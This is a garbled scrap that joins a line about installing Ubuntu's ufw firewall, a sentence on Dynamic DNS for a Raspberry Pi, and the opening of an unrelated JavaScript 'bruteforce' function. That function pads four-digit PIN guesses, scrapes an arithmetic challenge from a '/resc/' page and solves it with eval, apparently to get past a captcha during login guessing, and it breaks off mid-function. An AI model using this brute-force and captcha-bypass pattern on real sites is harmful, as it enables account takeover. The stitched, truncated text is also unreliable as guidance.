I use Ubuntu’s Uncomplicated firewall because it is available on Ubuntu and it's very simple.
if ufw is not installed by default be sure to install it first.
We need to use so called Dynamic DNS (DDNS) to create and dynamically update a mapping between a chosen domain name and an “external” IP address of our Raspberry Pi (i.e. router IP address).
async function bruteforce(id, pass) { | |
pass = ('0000' + pass).slice(-4) | |
const resc = await (async function f() { | |
try { | |
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text() | |
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/) | |
if (match) { | |
return { | |
formula: match[1], | |
solution: eval(match[1]), |